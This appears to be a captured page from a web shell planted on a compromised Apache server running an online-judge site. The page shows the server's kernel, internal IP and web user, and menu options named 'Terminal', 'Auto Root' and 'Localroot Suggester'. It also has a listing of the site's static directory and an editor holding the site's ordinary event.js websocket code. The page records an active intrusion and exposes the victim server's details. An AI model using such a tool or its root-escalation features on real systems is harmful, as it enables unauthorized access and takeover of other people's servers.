Linux tsuru-no-tsurugi 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
Apache/2.4.52 (Ubuntu)
Server IP : 192.168.0.18 & Your IP : 216.73.217.105
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
html /
static /
Delete
Unzip
Name
Size
Permission
Date
Action
ace
[ DIR ]
drwxrwxr-x
2025-02-27 19:12
admin
[ DIR ]
drwxrwxr-x
2025-02-27 19:12
adminsortable2
[ DIR ]
drwxrwxr-x
2025-02-27 19:12
cache
[ DIR ]
drwxr-xr-x
2026-06-24 15:53
dark
[ DIR ]
drwxrwxr-x
2026-06-24 16:29
django_ace
[ DIR ]
drwxrwxr-x
2026-06-24 16:29
icons
[ DIR ]
drwxrwxr-x
2026-06-24 16:29
jsi18n
[ DIR ]
drwxrwxr-x
2025-02-27 19:24
libs
[ DIR ]
drwxrwxr-x
2026-06-24 16:29
martor
[ DIR ]
drwxrwxr-x
2025-02-27 19:12
mptt
[ DIR ]
drwxrwxr-x
2026-06-24 16:29
plugins
[ DIR ]
drwxrwxr-x
2025-02-27 19:12
select2
[ DIR ]
drwxrwxr-x
2026-06-24 16:29
sortedm2m
[ DIR ]
drwxrwxr-x
2026-06-24 16:29
wpadmin
[ DIR ]
drwxrwxr-x
2025-02-27 19:12
ace-dmoj.css
2.61
KB
-rw-r--r--
2026-06-24 16:29
ace-dmoj.scss
1.55
KB
-rw-r--r--
2026-06-24 16:29
base-description.scss
3.36
KB
-rw-r--r--
2026-06-24 16:29
base.scss
4.97
KB
-rw-r--r--
2026-06-24 16:29
blank.gif
43
B
-rw-r--r--
2026-06-24 16:29
blog.scss
2.33
KB
-rw-r--r--
2026-06-24 16:29
caniuse.json
6.95
MB
-rw-r--r--
2026-06-24 16:29
comments.scss
3.18
KB
-rw-r--r--
2026-06-24 16:29
common.js
11.05
KB
-rw-r--r--
2026-06-24 16:29
content-description.scss
1.43
KB
-rw-r--r--
2026-06-24 16:29
contest.scss
5.14
KB
-rw-r--r--
2026-06-24 16:29
django_select2.js
1.73
KB
-rw-r--r--
2026-06-24 16:29
event.js
2.2
KB
-rw-r--r--
2026-06-24 16:29
favicon.ico
14.73
KB
-rw-r--r--
2026-06-24 16:29
featherlight.css
2.79
KB
-rw-r--r--
2026-06-24 16:29
featherlight.scss
1.85
KB
-rw-r--r--
2026-06-24 16:29
martor-description.css
11.37
KB
-rw-r--r--
2026-06-24 16:29
martor-description.scss
3.76
KB
-rw-r--r--
2026-06-24 16:29
martor-mathjax.js
1.19
KB
-rw-r--r--
2026-06-24 16:29
math.scss
1.31
KB
-rw-r--r--
2026-06-24 16:29
mathjax_config.js
170
B
-rw-r--r--
2026-06-24 16:29
misc.scss
878
B
-rw-r--r--
2026-06-24 16:29
navbar.scss
6.21
KB
-rw-r--r--
2026-06-24 16:29
problem-vote.js
3.11
KB
-rw-r--r--
2026-06-24 16:29
problem-vote.scss
895
B
-rw-r--r--
2026-06-24 16:29
problem.scss
5.52
KB
-rw-r--r--
2026-06-24 16:29
pygment-github.scss
8.33
KB
-rw-r--r--
2026-06-24 16:29
ranks.scss
2.19
KB
-rw-r--r--
2026-06-24 16:29
select2-dmoj.css
9.52
KB
-rw-r--r--
2026-06-24 16:29
select2-dmoj.scss
2.83
KB
-rw-r--r--
2026-06-24 16:29
status.scss
529
B
-rw-r--r--
2026-06-24 16:29
style.css
141.11
KB
-rw-r--r--
2026-06-24 16:29
style.scss
381
B
-rw-r--r--
2026-06-24 16:29
submission.scss
5.76
KB
-rw-r--r--
2026-06-24 16:29
table.scss
1.39
KB
-rw-r--r--
2026-06-24 16:29
task_status.css
3.14
KB
-rw-r--r--
2026-06-24 16:29
ticket.scss
3.4
KB
-rw-r--r--
2026-06-24 16:29
unselectable.htc
375
B
-rw-r--r--
2026-06-24 16:29
user_profile.js
4.74
KB
-rw-r--r--
2026-06-24 16:29
users.scss
5.28
KB
-rw-r--r--
2026-06-24 16:29
vars-common.scss
369
B
-rw-r--r--
2026-06-24 16:29
vars-dark.scss
1.73
KB
-rw-r--r--
2026-06-24 16:29
vars-default.scss
1.61
KB
-rw-r--r--
2026-06-24 16:29
widgets.scss
11.26
KB
-rw-r--r--
2026-06-24 16:29
Save
Rename
function EventReceiver(websocket, poller, channels, last_msg, onmessage) { this.websocket_path = websocket; this.channels = channels; this.last_msg = last_msg; this.poller_base = poller; this.poller_path = poller + channels.join('|'); if (onmessage) this.onmessage = onmessage; var receiver = this; function init_poll() { function long_poll() { $.ajax({ url: receiver.poller_path, data: {last: receiver.last_msg}, success: function (data, status, jqXHR) { receiver.onmessage(data.message); receiver.last_msg = data.id; long_poll(); }, error: function (jqXHR, status, error) { if (jqXHR.status == 504) long_poll(); else { console.log('Long poll failure: ' + status); console.log(jqXHR); setTimeout(long_poll, 2000); } }, dataType: "json" }); } long_poll(); } this.onwsclose = null; if (window.WebSocket) { this.websocket = new WebSocket(websocket); var timeout = setTimeout(function () { receiver.websocket.close(); receiver.websocket = null; init_poll(); }, 2000); this.websocket.onopen = function (event) { clearTimeout(timeout); this.send(JSON.stringify({ command: 'start-msg', start: last_msg })); this.send(JSON.stringify({ command: 'set-filter', filter: channels })); }; this.websocket.onmessage = function (event) { var data = JSON.parse(event.data); receiver.onmessage(data.message); receiver.last_msg = data.id; }; this.websocket.onclose = function (event) { if (event.code != 1000 && receiver.onwsclose !== null) receiver.onwsclose(event); } } else { this.websocket = null; init_poll(); } }